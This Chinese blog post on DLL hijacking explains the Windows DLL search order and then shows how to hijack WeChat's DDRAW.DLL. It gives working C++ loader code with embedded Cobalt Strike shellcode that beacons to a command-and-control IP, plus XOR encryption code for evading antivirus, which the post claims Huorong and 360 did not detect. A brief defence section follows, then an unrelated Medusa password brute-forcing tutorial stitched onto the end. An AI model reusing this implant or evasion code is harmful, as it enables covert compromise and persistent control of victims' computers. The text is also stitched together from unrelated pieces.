ANONYMOUS 发布的文章

前言

DLL劫持漏洞是老生常谈的一个漏洞,已经被前辈们各种奇技淫巧玩烂。但DLL劫持技术在后渗透和域渗透中的权限提升和权限维持都起到了至关重要的作用。本文简单剖析DLL劫持技术并通过实例应用来查看如何在渗透工作中利用此项技术。篇幅稍长,各位读者耐心观看,文中有不妥之处请各位加以斧正。

DLL劫持原理

什么是DLL?

DLL是动态链接库文件,在Windows系统中,应用程序并不是一个完整的可执行文件,它需要调用对应的DLL来完成相应的功能。一个应用程序可以使用多个DLL,一个DLL可以被多个应用程序使用。

DLL劫持漏洞产生原因

开发者在调用DLL时没有指定绝对路径,那么Windows就会按照特定的顺序去查找DLL,因此,黑客如果能够优先将DLL置于有效目录,就能够欺骗系统加载恶意DLL,实现DLL劫持。

1.jpg

如上图,应用程序执行需调用LPK.dll,该DLL在"C:Windowssystem32"目录下,但是由于系统优先搜索当前目录"C:UserspcDesktop",所以如果当前目录存在恶意的DLL,程序会优先加载,从而导致漏洞产生。

Windows中应用程序搜索DLL的顺序

Window中默认搜索DLL的顺序为:

1.程序所在目录
2.系统目录即 SYSTEM32 目录。
3.16位系统目录即 SYSTEM 目录。
4.Windows目录。
5.加载 DLL 时所在的当前目录。
6.PATH环境变量中列出的目录。

为了应对DLL劫持漏洞,微软在Windows7以上的版本将一些容易受到劫持的DLL写入了注册表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSession ManagerKnownDLLs中,在此项中的DLL都被禁止从程序所在目录调用,而只能从系统目录"C:WindowsSystem32"中调用。

不过终究是治标不治本,事实上攻击者只需要查找KnownDLLs注册表项中不存在且被应用程序调用的DLL,即可绕过这一限制。

DLL劫持的一般步骤

劫持Windows应用程序的DLL一般需要以下步骤:

1.启动应用程序
2.使用ProcessMonitor等工具查看应用程序启动后加载的DLL
3.从加载的DLL中筛选出不存在于HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs注册表项中的DLL
4.编写劫持代码生成劫持DLL
5.将编写好的DLL置于程序目录中并重新启动程序
6.查看是否劫持成功

如何利用DLL劫持微信并上线CS

这里我们通过劫持最新版微信,来更直观的认识和了解DLL劫持漏洞的利用。

DLL选择

首先下载安装最新版微信并运行,使用ProcessMonitor查看微信运行后调用的DLL情况。

Process Monitor一款系统进程监视软件,总体来说,Process Monitor相当于Filemon+Regmon,其中的Filemon专门用来监视系统中的任何文件操作过程,而Regmon用来监视注册表的读写操作过程。
下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procmon

这里我们需要将图示红框中的功能关闭,它们分别是注册表监控、网络监控、进程线程监控,我们只需要监控文件系统。

2.jpg

接下来我们需要筛选出微信程序的文件监控,在Filter中选择Filtel..,创建如下规则:

3.jpg

添加并应用规则后,我们可以更直观地观察微信程序调用DLL的情况。存在劫持漏洞的DLL一般存在以下几个特征:

不在注册表项HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs中
先从程序当前目录调用,并在搜索不到后进入系统目录调用

这里发现有几个DLL符合特征,我们选择DDRAW.DLL进行测试:

测试发现劫持某些DLL会导致微信退出时崩溃,建议在测试环境测试后再投入实战

4.jpg

5.JPG

事实上,对于在可能存在劫持漏洞DLL的查找上面已经有相关的懒人工具,如DLL Hijacking Auditor、rattler、DLLHijack_Detecter等等,但相应的存在一定的误报率和运行问题。

劫持DLL制作

编写一个劫持DLL,需要两个步骤:

查看被劫持DLL的导出函数表
编写实现劫持DLL向原DLL的函数转发,并在过程中加入你的恶意代码

这对不熟悉编程技术的安全从业者来说是一个复杂的过程,但我们可以使用AheadLib或DLL_Hijacker.py这两款工具来生成相应的cpp代码,只要简单加入我们的劫持代码并重新编译出DLL即可。(个人喜欢使用后者来生成代码,原因有二,一是python脚本使用方便,二是AheadLib使用易语言编写,杀软对易语言程序不友好。两款工具工作笔者都已测试,编译生成的DLL皆完好可使用)

工具下载地址:

AheadLib:https://github.com/strivexjun/AheadLib-x86-x64
DLL_Hijacker:https://github.com/coca1ne/DLL_Hijacker

这里我们利用DLL_Hijacker.py生成对应的cpp代码:

python DLL_hijacker.py c:\Windows\SysWOW64\ddraw.dll

接下来我们在VS2015中新建项目,创建c++空项目,命名为DDRAW:

6.jpg

在项目属性中我们需要进行简单设置,将配置类型改为动态库(.dll),MFC的使用改为在使用标准Windows库,目标文件扩展名改为.dll

MFC的使用选择在静态库中使用MFC会将相关代码写入DLL中,可以运行在没有相关DLL的系统中,但是缺点是生成的DLL体积较大,选择此选项保证DLL在不同系统中可以正常运行。

7.jpg

在项目的源文件中新建DDRAW.cpp文件,并将DLL_hijacker.py生成的cpp代码粘贴过来后编译:

8.jpg

然后我们将编译好的DLL放入微信程序目录中,并重新启动微信,可以发现劫持成功:

9.jpg

DLL劫持到CS上线

当然我们并不能满足于单纯的弹框,我们需要利用此漏洞来实现权限维持。

首先cs生成shellcode:

10.jpg

在代码中申请执行内存并执行我们的shellcode,核心代码如下:

typedef void(__stdcall* JMP_SHELLCODE)();

unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xb8\x22\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x37\x6d\x44\x74\x00\x0e\x10\x00\x9d\x32\xdc\x4d\xa3\xd2\x4c\x42\xbb\x3a\x26\x92\x3a\xea\xd9\x2c\x08\x8a\xaa\x18\xd3\x3b\x30\xcc\xe4\x01\x3a\xe7\x36\x68\x6a\x0b\x0a\x16\xe5\xc2\xc2\xfb\x17\x53\xdd\x85\x34\x49\x4d\xe3\x57\xb6\x53\xf5\xd9\xfc\xbc\xbf\x61\x42\xd1\x17\xb1\x93\x36\x65\xd9\x78\x54\xc4\x8f\x9c\x76\xa9\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x57\x4f\x57\x36\x34\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x3b\x20\x4e\x50\x30\x32\x29\x0d\x0a\x00\x84\xdc\xd4\xde\x3c\x35\x45\x34\xdd\x7c\xcf\x75\x18\x5d\x7b\x82\xb5\xc7\x62\x1b\xc1\x6a\x9b\x85\x4e\x21\x82\x75\x88\x8d\xb2\x9a\x49\x4d\x07\xc7\x4d\x9d\x0c\xc4\xb6\xc6\x3e\xec\xc5\x12\x13\xfc\x00\x94\x17\xa6\xdf\x3e\xa1\x6a\xa9\x47\xb7\xc7\x63\x72\xba\xae\x8a\x37\xf1\x2a\xac\x5d\x5c\x59\x83\x7b\xa1\xf5\xfc\x9b\x52\x28\xb4\x5a\x13\x65\xc3\xe0\x59\x1e\xd0\xe5\x33\x8e\x4f\x5f\x1f\x0c\x84\xcd\xf6\x78\x76\x26\xfa\x4c\xaa\xc5\x7d\x13\x93\x9d\x47\x84\x53\xb8\xa3\x7a\x29\xf9\xc1\x47\x0a\xdd\xfc\x80\x04\xae\xa8\xeb\x64\xa3\xb6\xb0\x7f\x1f\xd7\x56\x31\x87\xc8\x8b\x60\x39\x3c\xed\xb8\xa9\x7e\x5b\xbe\x07\xe1\x0f\x7b\xc3\x88\xe2\x8d\xc9\xb7\x03\x6a\xd3\xd6\x3a\x34\x4a\xb8\x36\x6f\x0a\xdb\x8c\xf5\x23\x95\xb0\x15\x30\xfc\x33\xa2\x2c\x63\x69\x12\xbb\x98\x9e\xf6\x4d\x82\xaa\xca\x72\x51\x1f\xca\x10\x44\x65\xb1\xd9\xd6\x7d\xc9\xaa\x0d\x0e\xda\xdb\x88\x4b\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x35\x37\x2e\x31\x33\x34\x00\x12\x34\x56\x78";

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode, sizeof(shellcode));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}

然后创建线程并在主函数dllmain中执行即可。将编译好的DLL置于微信目录,重启微信,此时CS成功上线:

11.jpg

12.jpg

绕过杀软上线CS

在实际环境中,shellcode可能会被杀软识别查杀,我们还需要对shellcode进行免杀处理。我们可以把shellcode加密处理,执行的过程中再进行解密,此时shellcode便具有一定的免杀能力。也可以对shellcode进行分段多重加密再分段解密,免杀效果会更好。

在安装了杀毒软件的环境中,DLL编译完成后被查杀:

13.jpg

我们考虑通过加密的方式将我们的shellcode隐藏。 这里我们新建工程,在代码中,我们使用XOR方式将shellcode分段加密,利用程序获取加密后的shellcode,核心代码如下:

#define KEY 0x99 //第一段XOR key
unsigned char ShellCode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xb8\x22\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x40\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x53\x58\x6c\x45\x00\x81\x43\xba\xf6\x98\x63\x16\xc9\x6a\x76\x08\xd9\xa1\x22\x06\xb9\x91\xae\xf2\x9c\x43\x54\x45\x60\x4d\xca\x7d\x34\x1d\x0d\xcc\xe9\x9b\xe3\x8b\xb5\xa2\x18\xf8\x88\x22\x0b\x29\xdb\x90\x31\xb6\x82\x96\xc4\x18\x74\x66\x42\x0a\xef\x66\x40\x14\xf5\x9e\x6d\x93\x2b\xcb\x33\x3a\xf4\xbf\x27\x74\xd7\x81\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x39\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x30\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x29\x0d\x0a\x00\x82\x79\xfd\xc6\xc5\xfc\x18\x09\xf1\x8d\xda\x55\xf4\x79\x75\x7d\x85\xf7\x98\x75\x65\xaa\xe7\xee\xb4\x9c\xed\x10\x87\x33\x38\x34\x6f\x2e\x6c\x83\x0a\x78\x28\x58\x1f\x91\x58\x50\x73\xca\x05\x6a\xf0\xe3\x12\x9e\x31\x5d\xbf\x02\xb1\x8b\xf5\x8e\xc9\x3a\xee\x97\x3a\x9a\x6b\x32\x3d\xd1\x31\x63\x3f\xeb\xd0\xe0\xa0\x5d\x00\xb9\xd9\xe6\x7e\x0a\x89\xd6\xcf\x94\xa7\x3c\x74\xea\x2c\x69\xec\x54\x39\xe1\x66\xbb\x83\xa9\x2b\x0d\xe0\xe0\xc7\xcd\xa9\x88\x5b\x06\x84\xfa\x87\xf7\x84\x03\x0c\xa7\xb0\xaa\x3b\x09\xea\xf0\x6b\xce\x9c\xa2\xf4\xec\x21\x8b\x5c\x12\xae\x93\xb9\x2e\xd6\x3f\x15\x8e\xa1\x46\xec\x87\x72\x2f\x70\xd7\x4e\xe9\x5c\x24\x56\xab\xce\xae\x5e\xd2\x0b\x7a\x56\x12\xdd\x5a\x33\x7c\x8b\x23\x4e\x32\xc0\xac\x90\x89\xec\xab\xd6\x3c\x9c\x34\xd0\xd0\x56\x52\xed\xf0\xc9\x3a\xe4\x8a\x9e\x9d\x87\xe9\x51\x19\xec\xa6\xf1\x7f\x19\xa2\x52\x69\x03\x22\x3e\xc2\x44\xc8\x42\x6c\xa7\x1c\x54\x98\x78\x33\x6d\xe3\xb4\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x39\x32\x2e\x31\x36\x38\x2e\x31\x35\x37\x2e\x31\x33\x34\x00\x12\x34\x56\x78";
int main()
{
unsigned char enShellCode1[sizeof(ShellCode)]; 
unsigned char enShellCode2[sizeof(ShellCode)];
for (int i = 0; i < sizeof(ShellCode) - 501; i++)
{
   enShellCode1<i> = ShellCode<i> ^ KEY; //第一段XOR加密
   printf("\\x%x", enShellCode1<i>); //获取第一段加密结果
}
char key[] = "chris"; //第二段XOR key
int j = 0;
for (int i = sizeof(ShellCode) - 501; i < sizeof(ShellCode)-1; i++)
{
   if (j == sizeof(key) - 1)
     j = 0;
   enShellCode2<i> = ShellCode<i> ^ key[j]; //第二段XOR加密
   j++;
   printf("\\x%x", enShellCode2<i>);  //获取第二段加密结果
}
return 0;
}

14.jpg

拷贝结果,替换劫持代码中的shellcode,并在执行函数中将我们的原始shellcode解密出来,核心代码如下:

#define KEY 0x99 //第一段key
unsigned char shellcode[] = "\x65\x71\x10\x99\x99\x99\xf9\x10\x7c\xa8\x4b\xfd\x12\xcb\xa9\x12\xcb\x95\x12\xcb\x8d\x12\xeb\xb1\x96\x2e\xd3\xbf\xa8\x66\xa8\x59\x35\xa5\xf8\xe5\x9b\xb5\xb9\x58\x56\x94\x98\x5e\x7b\x69\xcb\xce\x12\xcb\x89\x12\xdb\xa5\x98\x49\x12\xd9\xe1\x1c\x59\xed\xd3\x98\x49\xc9\x12\xd1\x81\x12\xc1\xb9\x98\x4a\x7a\xa5\xd0\x12\xad\x12\x98\x4f\xa8\x66\xa8\x59\x35\x58\x56\x94\x98\x5e\xa1\x79\xec\x6d\x9a\xe4\x61\xa2\xe4\xbd\xec\x7b\xc1\x12\xc1\xbd\x98\x4a\xff\x12\x95\xd2\x12\xc1\x85\x98\x4a\x12\x9d\x12\x98\x49\x10\xdd\xbd\xbd\xc2\xc2\xf8\xc0\xc3\xc8\x66\x79\xc1\xc6\xc3\x12\x8b\x72\x1f\xc4\xf1\xf7\xfc\xed\x99\xf1\xee\xf0\xf7\xf0\xcd\xf1\xd5\xee\xbf\x9e\x66\x4c\xa8\x66\xce\xce\xce\xce\xce\xf1\xa3\xcf\xe0\x3e\x66\x4c\x70\x1d\x99\x99\x99\xc2\xa8\x50\xc8\xc8\xf3\x9a\xc8\xc8\xf1\x21\xbb\x99\x99\xca\xc9\xf1\xce\x10\x6\x5f\x66\x4c\x72\xe9\xc2\xa8\x4b\xcb\xf1\x99\x9b\xd9\x1d\xcb\xcb\xcb\xca\xcb\xc9\xf1\x72\xcc\xb7\xa2\x66\x4c\x10\x5f\x1a\x5a\xc9\xa8\x66\xce\xce\xf3\x66\xca\xcf\xf1\xb4\x9f\x81\xe2\x66\x4c\x1c\x59\x96\x1d\x5a\x98\x99\x99\xa8\x66\x1c\x6f\xed\x9d\x10\x60\x72\x90\xf1\x33\x5c\x7b\xc4\x66\x4c\x10\x58\xf1\xdc\xb8\xc7\xa8\x66\x4c\xa8\x66\xce\xf3\x9e\xc8\xcf\xc9\xf1\x2e\xce\x79\x92\x66\x4c\x26\x99\xb6\x63\x68\x4b\xae\x7\xd4\x59\x8d\x80\xe2\x62\x68\x72\x80\xba\x62\x68\x72\x81\xf8\x9c\x97\x8d\x46\x20\x3b\x4\x37\x69\xf2\x20\xd2\x84\xf1\x10\x75\xa1\x18\x1f\x7b\xba\xc9\x50\x6f\xca\xf2\xc6\x80\xf5\x30\x37\x2d\x12\x24\xb9\x1e\x5c\x6f\x64\xbf\x8a\xf3\x91\xe2\xc6\xc1\x70\x8a\xe1\x51\x68\x41\xa9\xf9\x42\xd5\xea\xe4\xad\x6b\x17\xe\x30\x63\x9c\x5\x28\x66\x9c\xed\xe\xfb\x59\xa2\x40\x59\x9c\xcd\x4e\x7\xb4\xe9\x72\x3c\x0\x6\x1a\x5f\x28\x14\x6\x6\x6\x53\x53\x2e\x7\x8\x0\x1f\xf\x9\x5d\x5c\x5d\x53\x48\x5a\xa\x1c\xe\x18\x13\x1d\x1a\x1\x4\x17\x52\x53\x2e\x3b\x3b\x2c\x53\x5a\x46\x42\x52\x53\x34\x1\x1c\xd\x1c\x14\x1b\x52\x27\x27\x43\x5e\x5c\x59\x48\x43\x3c\x0\x0\x17\x6\x6\x6\x46\x46\x4d\x58\x5b\x64\x79\x63\xea\xb\x94\xb5\xa6\x94\x6a\x60\x82\xee\xb2\x27\x9d\xa\x16\x15\xf7\x9e\xeb\x16\xd\xd8\x8e\x9d\xd7\xf4\x9f\x79\xf4\x50\x50\x46\x6\x5d\xf\xeb\x78\x11\x5b\x3b\x77\xe3\x31\x23\x10\xa2\x77\x3\x83\x80\x7a\xec\x58\x2e\xdc\x6a\xc3\xe2\x86\xed\xa1\x48\x87\xe4\x59\xf2\x19\x5b\x4e\xb2\x59\x11\x56\x98\xb3\x88\xd2\x34\x73\xda\xb1\x94\x17\x79\xea\xbe\xbd\xfd\xd4\x5f\x1c\x98\x45\x1a\x8f\x3c\x4b\x88\x15\xd8\xeb\xdb\x42\x7e\x83\x88\xb5\xa4\xda\xeb\x33\x74\xed\x89\xe4\x9f\xf6\x6a\x7f\xc4\xd8\xd8\x52\x7a\x89\x98\x19\xa7\xef\xc1\x9c\x9e\x48\xf8\x3f\x7a\xdc\xfa\xca\x4d\xbe\x4d\x7c\xfd\xc2\x2e\x9e\xee\x1\x4c\x18\xa5\x27\x9a\x3f\x4c\x24\xc2\xbd\xcd\x36\xa0\x62\x9\x35\x7a\xaf\x33\x40\x1f\xe3\x51\x27\x41\xa3\xc4\xe2\xe0\x9f\xc8\xbe\x4e\xf5\x47\xb3\xb8\x24\x3b\x9e\x93\xa1\x48\x8d\xf9\xfd\xf5\xf5\x80\x22\x7a\x84\xd4\x98\xc\x7a\xca\x20\x0\x70\x41\x56\xb0\x2d\xbb\x21\x4\xd5\x75\x27\xfb\x10\x41\x4\x90\xd7\x68\x1a\x99\xc6\xc1\x3e\x8d\xbc\x19\x23\x0\x72\x79\x73\x63\x0\x72\x69\x33\x63\x3f\x1a\x31\xd7\x30\x8d\x8d\xbc\xe0\xda\x68\x72\x69\x73\x62\xb1\x23\x3a\xfa\x84\x3f\x1a\x69\x53\x63\x68\x21\x3f\x1b\x71\xfe\xfb\x8b\x8c\xb6\xed\xb2\x1d\xb5\xe8\x6f\x73\xaa\xf6\xa3\x1d\x97\x31\xb0\x8b\xc1\x8f\x96\x8c\x52\x51\x40\x47\x42\x55\x50\x5c\x58\x46\x54\x46\x43\x5a\x47\x63\x7a\x46\x3f\xb";
unsigned char shellcode2[sizeof(shellcode)];

char key[] = "chris"; //第二段key

DWORD WINAPI jmp_shellcode(LPVOID pPara)
{
for (int i = 0; i < sizeof(shellcode) - 501; i++)
{
   shellcode2<i> = shellcode<i> ^ KEY; //解密第一段
}
int j = 0;
for (int i = sizeof(shellcode) - 501; i < sizeof(shellcode) - 1; i++)
{
   if (j == sizeof(key) - 1)j = 0;
   shellcode2<i> = shellcode<i> ^ key[j]; //解密第二段
   j++;
}

LPVOID lpBase = VirtualAlloc(NULL, sizeof(shellcode2), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(lpBase, shellcode2, sizeof(shellcode2));
JMP_SHELLCODE jmp_shellcode = (JMP_SHELLCODE)lpBase;
jmp_shellcode();
return 0;
}

15.jpg

此时,我们的DLL编译完成后已经不会被杀软查杀,将DLL放入微信目录中,启动微信:

16.jpg

成功上线,执行命令,火绒与360均无反应。

其他玩法

当然DLL劫持还有很多其他玩法,如利用InjectProc实现自动注入,backdoor-factory免杀结合MSF上线,IAT导入表注入劫持,权限提升等,篇幅有限,这里不作赘述,各位可自行尝试。

工具链接:

InjectProc:https://github.com/secrary/InjectProc/releases
backdoor-factory:https://github.com/secretsquirrel/the-backdoor-factory
IAT:https://pan.baidu.com/s/1w8T5vgfGnIBU2Gkpq1kogQ 提取码:c29j

如何防范DLL劫持

对于DLL劫持漏洞产生的原因,并不能单一的归咎于微软,只能说这是微软的一个“设计缺陷”,要从根本上防御DLL劫持漏洞,除了微软提供的“安全DLL搜索模式”和“KnownDLLs注册表项”机制保护DLL外,开发人员必须要做更多来保护应用程序自身。开发过程中,调用LoadLibrary,LoadLibraryEx等会进行模块加载操作的函数时,使用模块的物理路径作为参数。在程序调用DLL时使用“白名单”+ “签名”进行DLL的验证。 不过即使使用了这些防御措施,DLL劫持漏洞依旧可能会存在,更何况目前很多厂商对于DLL劫持漏洞都是持“忽略”的态度。

参考资料

DLL劫持原理与实践
老树开新花:DLL劫持漏洞新玩法
Dll劫持漏洞详解

版本说明:Medusa2.2
下载地址:http://www.foofus.net/jmk/tools/medusa-2.2.tar.gz
使用环境:linux(kali自带)
工具说明:Medusa是一款密码爆破神器

一、工具介绍

Medusa旨在成为一个迅速,大规模并行,模块化,爆破登录。

目标支持大部分允许远程登录的服务。

以下是Medusa项目一些主要功能:

·基于线程的并行测试。可以同时对多个主机,用户或密码执行强力测试。

·灵活的用户输入目标信息(主机/用户/密码)可以通过多种方式指定。

例如,每个项目可以是单个条目或包含多个条目的文件。

此外,组合文件格式允许用户改进其目标列表。

·模块化设计。每个服务模块作为独立的.mod文件存在。

这意味着,核心应用程序不需要进行任何修改,以便扩展支持的强制服务列表。

相对于hydra:-稳定性好-速度控制得当-基于线程-支持模块少于hydra(不支持rdp 远程桌面)-WEB-Form支持存在缺陷

二、工具使用

用法:

Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module [OPT]
Medusa [-h 主机| -H 文件] [-u 用户名| -U 文件] [-p 密码| -P 文件] [-C 文件] -M 模块[OPT]

警告:主机必须提供的信息。

参数说明:

-h [TEXT]:目标主机名或IP地址

-H [FILE]:包含目标主机名或IP地址的文件

-u [TEXT]:要测试的用户名

-U [FILE]:包含要测试的用户名的文件

-p [TEXT]:要测试的密码

-P [FILE]:包含要测试的密码的文件

-C [FILE]:包含组合条目的文件。有关更多信息,请参阅README。

-O [FILE]:将日志信息附加到的文件

-e [n / s / ns]:其他密码检查(n无密码,s 密码=用户名)

-M [TEXT]:要执行的模块的名称(不带.mod扩展名)

-m [TEXT]:传递给模块的参数。这可以通过一个多次传递不同的参数,并且它们全部被发送到模块(即,-m Param1 -m Param2等)

-d:转储所有已知的模块

-n [NUM]:用于非默认的TCP端口号

-s:启用SSL

-g [NUM]:尝试连接NUM秒后放弃(默认3)

-r [NUM]:在重试尝试之间休眠NUM秒(默认值3)

-R [NUM]:尝试NUM在放弃之前重试。总尝试次数将是NUM + 1。

-c [NUM]:在usec中等待以验证套接字的时间(缺省值为500 usec)。

-t [NUM]:要同时测试的登录总数

-T [NUM]:要同时测试的主机总数

-L:每个线程使用一个用户名并行登录。默认是处理整个用户名在继续之前。

三、实例用法

1、显示当前安装的所有模块:

medusa -d

“/ usr / lib / medusa / modules”中的可用模块:

+ cvs.mod:CVS会话的暴力模块:2.0版

+ ftp.mod:FTP / FTPS会话的暴力模块:版本2.1

+ http.mod:HTTP的蛮力模块:版本2.1

+ imap.mod:用于IMAP会话的暴力模块:版本2.0

+ mssql.mod:M $ -SQL会话的暴力模块:版本2.0

+ mysql.mod:MySQL会话的暴力模块:版本2.0

+ nntp.mod:NNTP会话的暴力模块:版本2.0

+ pcanywhere.mod:PcAnywhere会话的暴力模块:版本2.0

+ pop3.mod:用于POP3会话的暴力模块:版本2.0

+ postgres.mod:PostgreSQL会话的暴力模块:版本2.0

+ rdp.mod:RDP(微软终端服务器)会话的蛮力模块:版本0.1

+ rexec.mod:REXEC会话的蛮力模块:版本2.0

+ rlogin.mod:RLOGIN会话的暴力模块:版本2.0

+ rsh.mod:RSH会话的暴力模块:版本2.0

+ smbnt.mod:SMB(LM / NTLM / LMv2 / NTLMv2)会话的强力模块:版本2.1

+ smtp-vrfy.mod:用于验证SMTP帐户的蛮力模块(VRFY / EXPN / RCPT TO):2.1版

+ smtp.mod:用于TLS的SMTP身份验证的蛮力模块:版本2.0

+ snmp.mod:SNMP Community Strings的暴力模块:版本2.1

+ ssh.mod:用于SSH v2会话的强力模块:版本2.1

+ svn.mod:Subversion会话的蛮力模块:版本2.1

+ telnet.mod:用于telnet会话的暴力模块:版本2.0

+ vmauthd.mod:VMware认证守护进程的蛮力模块:版本2.0

+ vnc.mod:用于VNC会话的暴力模块:版本2.1

+ web-form.mod:用于Web表单的暴力模块:版本2.1

+ wrapper.mod:通用包装模块:版本2.0

-f:在找到第一个有效的用户名/密码后停止扫描主机。

-F:在任何主机上找到第一个有效的用户名/密码后停止审核。

-b:禁止启动横幅

-q:显示模块的使用信息

-v [NUM]:详细等级[0 - 6(更多)]

-w [NUM]:错误调试级别[0 - 10(更多)]

-V:显示版本

-Z [TEXT]:根据上次扫描的地图继续扫描

2、显示给定模块的特定选项:

medusa -M smbnt -q

